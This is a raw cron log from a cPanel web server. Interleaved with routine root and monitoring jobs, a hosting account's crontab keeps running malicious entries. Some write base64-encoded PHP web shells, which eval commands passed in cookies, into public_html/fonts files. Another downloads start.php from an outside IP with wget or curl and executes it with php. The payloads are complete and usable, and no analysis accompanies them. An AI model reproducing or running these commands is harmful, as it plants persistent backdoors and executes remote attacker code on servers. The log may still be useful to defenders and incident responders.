Aug 30 16:55:01 ip-184-168-122-23 CROND[12508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:55:01 ip-184-168-122-23 CROND[12515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:55:01 ip-184-168-122-23 CROND[12511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:56:01 ip-184-168-122-23 CROND[12614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:56:01 ip-184-168-122-23 CROND[12615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:56:01 ip-184-168-122-23 CROND[12616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:56:01 ip-184-168-122-23 CROND[12617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:56:01 ip-184-168-122-23 CROND[12618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:57:02 ip-184-168-122-23 CROND[12709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:57:02 ip-184-168-122-23 CROND[12712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:57:02 ip-184-168-122-23 CROND[12710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:57:02 ip-184-168-122-23 CROND[12711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:58:01 ip-184-168-122-23 CROND[12882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:58:01 ip-184-168-122-23 CROND[12883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:58:01 ip-184-168-122-23 CROND[12880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 16:58:01 ip-184-168-122-23 CROND[12881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:58:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:59:01 ip-184-168-122-23 CROND[12966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 16:59:01 ip-184-168-122-23 CROND[12969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 16:59:01 ip-184-168-122-23 CROND[12968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:59:01 ip-184-168-122-23 CROND[12970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13051]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:00:02 ip-184-168-122-23 CROND[13057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:00:02 ip-184-168-122-23 CROND[13062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:01:01 ip-184-168-122-23 CROND[13152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:01:01 ip-184-168-122-23 CROND[13153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:01:01 ip-184-168-122-23 CROND[13155]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:01:01 ip-184-168-122-23 CROND[13158]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 17:01:01 ip-184-168-122-23 CROND[13161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:01:01 ip-184-168-122-23 CROND[13162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13158]: starting 0anacron
Aug 30 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13174]: finished 0anacron
Aug 30 17:02:01 ip-184-168-122-23 CROND[13262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:02:01 ip-184-168-122-23 CROND[13264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:02:01 ip-184-168-122-23 CROND[13267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:02:01 ip-184-168-122-23 CROND[13266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:02:01 ip-184-168-122-23 CROND[13265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:03:01 ip-184-168-122-23 CROND[13368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:03:01 ip-184-168-122-23 CROND[13369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:03:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:03:01 ip-184-168-122-23 CROND[13373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:04:01 ip-184-168-122-23 CROND[13446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:04:01 ip-184-168-122-23 CROND[13448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:04:01 ip-184-168-122-23 CROND[13452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:04:01 ip-184-168-122-23 CROND[13451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:04:01 ip-184-168-122-23 CROND[13449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:05:01 ip-184-168-122-23 CROND[13544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:06:01 ip-184-168-122-23 CROND[13627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:06:01 ip-184-168-122-23 CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:06:01 ip-184-168-122-23 CROND[13631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:06:01 ip-184-168-122-23 CROND[13632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:06:01 ip-184-168-122-23 CROND[13630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:07:01 ip-184-168-122-23 CROND[13800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:07:01 ip-184-168-122-23 CROND[13801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:07:01 ip-184-168-122-23 CROND[13803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
